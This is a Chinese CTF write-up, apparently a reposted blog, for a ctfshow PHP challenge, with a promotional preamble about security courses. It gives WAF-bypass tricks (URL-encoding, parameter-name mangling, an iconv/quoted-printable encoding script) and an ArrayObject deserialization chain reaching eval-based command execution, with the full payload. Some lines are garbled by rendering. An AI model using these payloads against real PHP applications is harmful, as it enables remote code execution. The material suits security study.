赞
踩
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
首先传参是show_show.show,php变量名只能是数字字母下划线,传进去的变量名会将 , +,.,[等符号转换成_,若变量中有. 号,可以用[替换_后,之后的字符不会再被替换成_
构造的参数是show[show.show
有两个waf
第一个waf1是用urlencode绕过,即不会出现字母字符,注意是对$_REQUEST进行waf判断的,request的顺序:GET<POST,因此绕过的思路只需要同时POST一个相同参数对应数字即可绕过%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1
第二个waf2不能出现show,那么用base64-encode --> utf-8 -> utf-16 --> convert.quoted-printable-decode绕过,我们编写个脚本
c o n t e n t = ′ c t f s h o w s h o w s h o w w w w ′ . content='ctfshowshowshowwww'. content=′ctfshowshowshowwww′._GET[‘chu0’];
chu0参数需要传system,按照下面的脚本
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;
运行后得到c=003=00l=00z=00d=00G=00V=00t=00
现在来构造序列化链
首先__wakeup()方法中有一个throw new Exception(“fastfast”);,回强制GC回收导致__destruct魔术方法不起作用从而触发不了其他魔术方法,
使用数组绕过。详解见ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客的ctfshow 第三届愚人杯 easy_php
<?php highlight_file(__file__); class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); } public function __destruct() { $this->h1->nonono($this->h2); } } class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } } class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; } public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt",""); } return "Go on"; } } $a = new ArrayObject; $a -> a = new ctf; $a ->a->h1=new show(); $a ->a->h2=new Chu0_write(); echo serialize($a);
最后得到payload的O改为C,得到
C:11:“ArrayObject”:164:{x:i:0;a:1:{s:9:“gxngxngxn”;O:3:“ctf”:2:{s:2:“h1”;O:4:“show”:0:{}s:2:“h2”;a:1:{i:0;a:1:{i:2;O:10:“Chu0_write”:3:{s:4:“chu0”;N;s:4:“chu1”;N;s:3:“cmd”;N;}}}}};m 本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。